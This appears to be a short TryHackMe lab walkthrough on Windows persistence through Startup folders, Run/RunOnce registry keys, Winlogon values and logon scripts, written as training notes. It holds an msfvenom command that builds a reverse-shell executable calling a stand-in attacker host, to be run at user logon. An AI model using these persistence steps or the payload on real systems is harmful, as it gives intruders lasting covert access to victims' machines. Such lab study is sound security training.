TryHackMe-Walkthroughs-by-Aby

Room : Windows Local Persistence - Backdooring Files

Let’s plant payloads that will get executed when a user logs into the system.

Run every time user logs in

Each user will have a folder for them: C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Also: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Any executables put there will be ran when logging in.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

WLP30

WLP31

WLP32

WLP33

Run / RunOnce

Force user to execute a program on logon via registry - no need to place payloads in specific locations. - HKCU\Software\Microsoft\Windows\CurrentVersion\Run - HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce - HKLM\Software\Microsoft\Windows\CurrentVersion\Run - HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU - Only apply to current user HKLM - will apply to everyone

Run - run everytime the user logs in RunOnce - will execute only once

WLP34

WLP35

WLP36

WLP37

Winlogon

Winlogon is a windows component that loads user profile right after authN. It uses registry keys under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon - Userinit points to userinit.exe - restores user profile preferences - shell points to system’s shell usually explorer.exe Note: Don’t change or replace any executables here, it will break the logon sequence.

WLP38

WLP39

WLP40

WLP41

Logon Scripts

userinit.exe loads user profile to check for an environment variable UserInitMprLogonScript We will use this variable to assign a logon script to a user that will run when user logs in

WLP42